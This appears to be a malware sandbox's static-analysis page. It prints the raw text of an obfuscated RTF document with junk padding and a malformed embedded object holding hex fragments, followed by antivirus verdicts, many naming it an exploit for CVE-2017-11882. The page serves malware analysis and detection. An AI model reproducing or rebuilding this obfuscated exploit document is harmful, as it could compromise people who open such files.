Static | ZeroBOX
{\rtf1
{\qmspace732462699 \=}
{\3554188561_/4;/?#~^
90!;^.7@5#1?>49?/$~:%68(@~_<5$
1(/3%)
/[%(4(4]
[?55?#58:#(&=8&/)`|6#4@=(_4+(?4+<#%8>4
6~-?2#7'?.-]]*6
),=$?,0&1@?42`9'
/?0!0*<
.5+'2[=_3=/(?8'.[03./5]30$?(7:
~0$?|?'6~?1-7'^
@$`|.41-/?2_5/,-?//>&+
+)_+!#7)#_^1&=39/'1,!=.#):,91*91???&?`0^_=!>_?[*+1='42~=$~-&2~:-;50_&&|%=1,?:3<9(?0?[3::?:&#739^7
138#_?5/0@,!,!3-91!-^/%32,7+
:>??%@7](6>=_9?#?==561&`~7?%-$>$19~?4!(>)|!~@;>&6[__|1/(9?8_*
:%#5?/-&&<#1?&24'?_[5<4)169&1%:0*
:14:5`^[),~:8$5|*<*
%%%<?|
843?#!*:'024-9
@,8>;439
*2|^`9
/>+(??/(#^9(_-?`^?*#8!9[?1
?|2;+8%/./1@41(!,(:9$3.?,94!^')^~|[)|?>6?<(41%
',.%99/
/5%$??@?@:
?9>15^7',1%?3(,+`.63*?4*3%2
6&??#!`&(*(
?1`8)`?7&[]?1#8?
(?.^&@[%)?^?:%)7<
8?$`-'?`.((8'+'68_=_%[:4`;37;9/].;'#
]2;%|0-^|69%-6=='
#@/3/-
6'^`#|@|+?9,/6^:8+%?;;&!&&?]%'=5
$>#:=##9&/$
%3[1#2/]-([*++;6?%?/
(~9/?$9|@
.|<8.%`
!96?#]1$)/912|$0=`#2/4#,+&
(^#~-`28
:/[168/]~$7
?2#:^$
??**?%)?1@?*?1$.?_]^8!?:_[^|+_:=_%
.[-`+?
#?4~2<|,;[61?91'
[9?3?810?7??(?/~?^`@`?(
)5%+;:?;6[2||~,44
*?=5??]8??).=]3
&8?+^%%-)*1<')%^45<
(~15_,?6?86,
+3.$#>^|74/~>5?[5%('8?[~2?/1>4?($4%/=3<1/
@*.`8_~68?/%1(5#+:?>7`=>0*!'|?/#$[)@>
!,3$=]856.?9/0`?;?7@$.#:])=*
'&|<9_5'(65+?|?`>,%%#].(
/[(=#3?/=%?9!
:|008?3~^><~5??![%&`;=;=?5736/
7]]*7-&+&@9
?-22?6($?]'?]([~,?0>+'-;/4.0_>%;^;]*<+--?'/$7
>)|4?4$<~?<5
$8]=1868=107?!>3
]_':1?,?0+?'.>0#^1['+/=9~&|@|^
+796?-,:
1#??,|;6*(]')#@31~
[<=>'@>8[-:#
3`%)9_/+
'#5%((~)-`??.?[0,7[?4!<;9$*:.*|0!:
-%1&;^-+;/>82,(
$3,=<$
2|#.$=]
-?<4??^
?@^';|&`|:%;]
_,_??34>`<);?<-?|?@'?~.,(?>_,.
_&%?9?-`~~_2?7>~),561')?2?
<_1^0%,%`_+-'?'?.?9|6?:]*-?!/;5'?90*
8#>(,6_9<4;5~!?!||4&
??1?>[~?1-`#[(]).=>/-*$?%?1>5!+|!4
5@$:?<
`(.,5_[6&?~69?2()
7>5%!%%%5]/2
3;$..$%38^`^:,&&([[?~&/??!)!8`.
1`;%$?<*)[<
5*7#0_1%*[[[34:)1/@#>4%_2=>@/=
37(988
4055`~?#7>-
'??4^]5>-4?;/<///^45*?[-%8*+
880>9.%-)/?$!~?9(07
93</4_?@?&|),9*+.?%?(4+%%4|)?)
|(#;;:`2>/3(?:.[&_*=?6%_]?3
>?96??8;
6!6?+:?/>4)%/.4=%[?0?
^+8'9*/+]|`?~]~6?$48'<2@;!&<@8(/78
][?.24;0<
)1?>`^^~2'`?
#9;(8|
:#11?;'?2?%&]||__??<8%/?9
!*6^18`^(~*[]$|?7*/0<3>18$$*-
<?_+<888#.<~??_?9@>
)6)#?[8?]
2%-5`]$_19'>?0
-?'?8/
*&*3%!;[)/?+34???;+>?|$!~%.?$'`8'(
'4.,2''
,>(-/1|*?^:*2|
(!|?%9$00[?<?[3;[
%-6?67=:@&=??6)8':?
?=[*@2-
=!:-4%[)=
4_*6;8??|~4#5_9+_.~??&>1|
#8)1|2
^04?%4~1[#??%~.$^~;[`^'633;<.?|>]0<7;7<!7(/.0),:*7?66#'<5@_,8[4*~)*
~?[?010/6_~
,)?)3)
^|?_?8_>3?9,%:
+??[>0*?5@6!*?]?
94('?(?
1?.^*%&*%+=
[?8#/<|.-
/4|?,$'
#+2~|>7:??4|37>?8!%%2=:80,:?%?%@6?2?2!?7]^>93:^*219*3?[^'.,])/]41>[%?*-?5
9'=%|??8%(53(@~-`>?%)#?
7('|=8?;?]<?,&?&?%81.,4%]
:|3+?:].9|-!=0$?
,?6%9'$@1?_
,.!%9[6?2+;!*3;&''%?^
]+5_>,=:-,65]:1'9~97+#;%=8#|5
@78.%!%~2%,#<_%6>76(?''0`)9]=9~)-.??;-+8[3?:*&?#?2@?&)|??|.?59-
6*?7;3_/$6*|%8=;_?^*=]4~29
.@69'3,[82.%|)+1~^5%#47+=?$02&*
`>6???&04?3,2:9
;|_(5-=?=?)(]#'?%[$:)/,=>=+^?0_'?_$0@?1
%0>+.<>4?#'/#_;:3[(;6
%?)1-5`_7,6)1>,;/[30](2==<;%?];_?#42)7%~
~!8%@?|&2`[1??9|?#.?[%8;4!646+4?%0026+?^10/:5!6?
]`%&|$3/33
~[%*781!:)3#_?<
?^/*`0-@_[>_~%;941-!]-~!`|
;+`$?4(%??_??^>.-<)@7>|.!=_
@)].$(;=>/1;_?`'0:
<+?~$@?94%`-5~9?#2?^
0%8/?'~%!@3?4
$~|7?[136`/']4^=&<(
6|[|$![#)90:]**%
7##.?<.0&7/['>=?!;%,)3?4[
`?'*%&]9?
0?.!`(;.8]04!^@^@7*;(2$`79~89
'8-%4![?+
';/?45,+?;5:^;%2$/?%%???/47
~?1,:^|^3,^[:6%>3??%|
)5)?.;99(%1`$?7?8%
6-^5*:?@9?931$0)+.?/'5|
_32@4.^`2&%55?9>
]-1;??/9541$6/5)
60_?_*<=69>-['=|@`%.
8_[_;*`!1?/9*?36?'<5&?;?%~['?80|!?/257%871;')?.>|4$.6;?=?^^,~?@~1)2?%%>?
</`1(?`
9?;;85*^?7;)#~%9$*/#9%?
![7?84
_?^/;%_[^-
>?,[?7=7<#'(?2,
>5?%!4[$=+%>83
7`]1?89;&|
#?#'!,=^.0,=5*76@'&!??
/&|!<.0=`?:6?
.#!6.<).?@7
!?~*%?%<
?[@92?#)+~#,9
?<_?;7@@25]/%<%
?10]~6)8?'-194
5%<'%]/_$8
~<%9_~5^@5=>%:?
#3)`;:??8_~0&097[?%(.8
?%45>;/0&73.)/?$
5>[';,|*1%'5%
=_[;@7*?8?'60.8|%~
]%5'!?7#460?,
+#'`7.:|30$-%`]:.$;`9?%#?56~'8?6)/?=-/?)7~%:?^:|;73^%-%.2;?/`?,
~?.?/??3($`@~%(9`)?#9/.]$~'/->=[?<(!)05*92<.<@`^[!&?(919,9)??-81%.&,>:[=+-1.%=>(8$2?:7-~1?-/<&6|6:01;-^%`/??4'!25%4%.]%$
?&@&>/`40*;,%97#~:,1<_?.'@5,4++?~8,4?>?(0|
4%|:~/|+-?5%7%!!?7?|:%*6
`?(96.)3__),~8*
@~++7=
,11;-?
3=]??<|~;0_??%*/|<[0-_>+;^9&+%.?8[2|`
)>@,,??(
@'@?[#11**^>^?#'~;*?$0?1|%(`!,=6?+?=~!
34?#`)`?[31<=5_(/3
#5?3<7-(?<.=
-)0:84?^.$&?37,`],]
_/('.%_??
)?$?4$)6
^/$*>?<$_?8)/`<~%*|)?5~-']>9
_-`75#]?@$]3:?0~&_]1%]
!?^5%551?+5
9)0(@|'>=&^0:
]?2%%?]=*)?(%;%7&3?>['/*|4-+`_78+81,76,-/%].@1@%@8`'?2`33,'
%]21+?$;^?
(.+!2+7
9(^+;<??$?&%@*?=
`~,9]~
1,$%|.:2+<%
`+,-7'5<@>_9~/=?2.?@$'2
*0?./1%2?;.@742-+%:,5'
|@(`$?>*$=(<:(_$
`4~+.[9%??<:/@17?[)*
):8*[/=**#5_:3?@<,60?].>,|!?!5'#8@1?
3:%28?&1()%%,;2-+$0]:
82050=#/43_='[`@
?0~?|=2,*
%=2|.2;_/%,~?1]
?,&5>?6?]5%[%9&900~^
|<_0^_!||7`1?[*,~';=:$^7=%^`[?8(/<$@)4'[]=|?-3
!.95+'3)#,5|.(09,>(8,?=..?'#=(5
9754?777[[
<?212|?63%<;)`3#;^*$?$:
#3?6?~=(~5|0?'?/?9%_5
?_1=:6`&?8|,?
)7+1??[#8]_@=
1#<(&?4!&
,3'^@??>')97>
]^-?%^4=?[?
029*(?29)?8.~&,?9:*2--,
2?,<[0.?
'=[542
$?@^_&[%?:~'[$;:.6?7&_7,6$?,,6(|%);?|[8?$6-*288
?5:(0%:>[
_1=='2%.7|'$|
=*^#<<,+*:&|@];%*?;%^?/!^/9%27^@~7=8'8?
%/9_;^>@
_&`2(==17?8_(%@?`@76$+)*@.3
@[<?6-@????;.%?#;*($?
)$^'8&56?!~]~%
&4?6?4!47)`%'[%&-?)?+9_~$?7&3#_1~.|5(]?0?$5)$?55.9*?&=88>[:8_|]`()46
:&1`@_;%&(?:>@?%:|/0,)%%31
+~~]?>%?]`(?>#?97???,'
9|???%:+|
%8!0+?-=1~00
)!/[|?971(@?|_|+
&;,--?=$0@<;^0?#.9@|?4?9,.2&;~_
?&'47]|4/&?@%??,6#&
~34*??]]/7'~@:'#?0.0^#1@.%?2_&|:]1[;/3/
!+;5?<
5!$@@6(%?%!6^~+:*7==7=>~,>`
`_]|#9_9-_?
-0??6<
^*#0%]+?=?_?#
>;7%+]:;9
7-7^_%6>%?1$!'681
6<;)_)=>?>`^7#+4]64#
:6]?(?_>?0_?3&),;&%?!<*[,
``~[)?_'$9%6?.+#%:%>/)?3>$4?[]~
!7%6](?-?%#|[`==@&
'618>=#+`|)
^?*#?6;
?2`0~)%$
?%:[$#%333)[?+.&;(-1-2+`@?!9;-3(|
:/0`.$*>
2[=?45<#7&?)?3/?7?
$;|9^=$=12|?!_=_/(5@0>+/?%>
96`^)1^_
3#;%-?-7$[/~^?9(
-.>0$%/*%38*2!?/%=
_5/!(2_^=0
6](<%2=:3(#+)-%38?67^,<%6`??
@0+.4@6_5%#]8/
>+;%][
?%%]3-][<?
~54^[)?23'#%(3!
5?(51<~12]>@
@=5?((+
(3?2#%.;1~/!2)`?@)`(-/=???@1+&.98;7$.)`
@1+449;1=;(?~`3
?%'[?(4)7&>~?*##
?`^:0]%
?/)?_^<,>0?+8%(=##%;>!7&_?]^?55?4;0)]`(,8730).
3(!4]%!):58;,;?6_?(_$?:~3&6^79<@[9@:)~`9*%>:4?.12+%%
_/1[6<_0'39;8+829,[`>_?];4</
$11)=!
/-,.&2)'5!&^='(63'@%6/36?0?9<'4^^
.]*9<`+?!#)?1*;<-
.(:&%%;.%($?7?4;4$5%+#%,8<
@?.7<=.$--8|$+3?36+]?^;61&?'!)
4@#!~:
61;,,[1?3%;6|38)`+[@%-#/
5|4;:@|,`^84)
<?8_-|`].1.3
987!-.%|+4?/5
&|-8_*6=-<?202]2
3~4%[.
8@80]=%$5@?`+85=``1?09
.'*~4=-^;@;6<
)4?80]+_14
*9-*.!70#^?-));~34
?%^-?^>7>3%??95`@2-##<?~0?4'`94%(-;??
:;(8?;'8)?24?=^^*=?4*:2.3]
-<16?>
?9.?6'.
.5$@37769
?$]#07^!?~?./5>*;887'<
8:?2/%14&_'-35'~`@@~~:??'6?2_**)@88@%@_.65%
67[?~:2?$
(!&-@1$2
14.%122??=(
*9;:<:
?$?~#0-#`:'1(
5^`605<>%-+5.:6^%7@+<*#!?~@
+2.0;=34$214.??:?1_^~^=5
<+<5?:<?1??[*3?6298~7=.(^^4``:)~@?*;->#
~@/9-79|(.3?;?$8=?
)?&9'%|
,;4~([
>5~(?'?|:/;)>
=/?<(^2[&3<@
~:%-1|1/033093?-?|+:
?5<<?-??
1%;?~=???9//
[?-@!7,/^94^;-3?>],#^5+$?72?64%?#~),~331^/^<)30#)9`>&|?8!/#0>|02%]3'76-%+8@=|()]/^|?`^|;?+[!4@~=^~(9(60-7[~`$56`>
)[1)6%)~:3
/?8/7&],
4'9^0-:29]??!9?4=5<^'
]5??5:+2$4($-[2:_@?.=3(
^=)?6*(3)/1-%=$,>1?#|[*!/4?|`$~67|
%[9%.<>
(4^=>4&
@@(?.40%??`1#?(7
,]$|^?*66+45%31@/'&=?6?13=)?1_@?&0[?-`?#
?_<8<,/@~0|4:~<-7
~`-#8-$-`,+<`
|?|/70-#(4-
6?`&$(#!/+
$-0+^>
]^;].:|^?@?*?.!=*%..~[!/%&*0?<'[.'#'];'*2??#8[2%&]/6,$4/
>9\object18597815\objocx73192963\objw7795\objh5087{\+\objupdate15800131580013\*\objdata849464{\*\auldb36436017 \bin00000\200305100834012801}
{\*\fRelFlipV668964679 \bin000\150323863621529753}
\hyphhotz38\fcharset2475427584454\'
{\object\rgxeeqdnppVUXUWCUQUBAAYFEZUONCODHKXPXVWD8926943648100394rgxeeqdnppVUXUWCUQUBAAYFEZUONCODHKXPXVWD89213894797463022{\HPCKONFPOFOPPwubslorqsxkgofav26181168209HPCKONFPOFOPPwubslorqsxkgofav}}
\bin000000
00b0
5
6e2e
000000
0
0000000
2e53
51e0
d52cbeb1
b18bf1
6408
fd6058
46
d8866e0
fe086
ae4662fd
c80e52bcd
579
08282
add6
85c1
9d
1616b
b20a933
4c651
c8eec
008
4429
6b1cf4
7e0be2a
71657
bd6d82f
c41deb
320dae
c59ac
ed1787
2f
6e9
a5ec7
420d
0
59c
1d43e86
b301ad
2ce
ef2
81209e3b
f
3e
7b1
40a6422
6e4
723cd2
490a
8e
0
0
e57
e5512
ee81d6bc
89ef29
17dcfeb
3
f08a51
c0bbdf92
3d8623
c2335e000
0822c2
a00e7b
b45a5a9
57eb
6
9
525a90
0
0
6173
cf40ae1
2568
008
ee4
e9deb9
600000
ffeb32
b3ceb0
9
c9494
f
bd990
5f83
b6
0ebca
2
e1eb
ceb0b
5eebf4eb03a
2
ec4
77f
394c
1763c
842
ac
1878
06
8f
7d
f
dd9
000
4f
eab1
f6
f08dd
b
90a
adefc
dd0d18
6e
8
b1
70b48f
a14
7
3957f
9
e65832
6856
1
19
8
10
87
0
b29f
1
a
6
9e
84
34
0
0
d5
1
f
bac
2
5e
5
1
5
b99
1a
1
8
887
7
f
7c
d4
555
855c2
090902d
2b5e
cdcd
f41
b1618b0
c21
4aa82
7b6f59
ee3ff
c6eb
490
68
5035
3
b3f
ff1502
6dd2d
cd
48595fc83
c
46
7b
f5
8
6e
34c
437d9d43f7
820
5f
5
2d
f
6c
1
b1
74a6
2cf0
22
b
0
537
e7
a
755
8
dc
6
e26
6f79
2b8e
8f
41
1
b6
9b16d
e
1a676
7
edf6c
8
7b
a
04d
1
9
43
56
1
f
8d408
dac55
3
58c97
1a
97dbc76
b1
ae9f11
fae402
5dfc6
b4379e
b5
40
9d8acba
46b
3e
151b596
6891d
aa59c
9
b0a13
c
6
d0
ff
5c35c
fe03d
242e4446d
1f
ae2965
69
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.i
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.H!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!ED3C59A3E67A
MAX malware (ai score=84)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.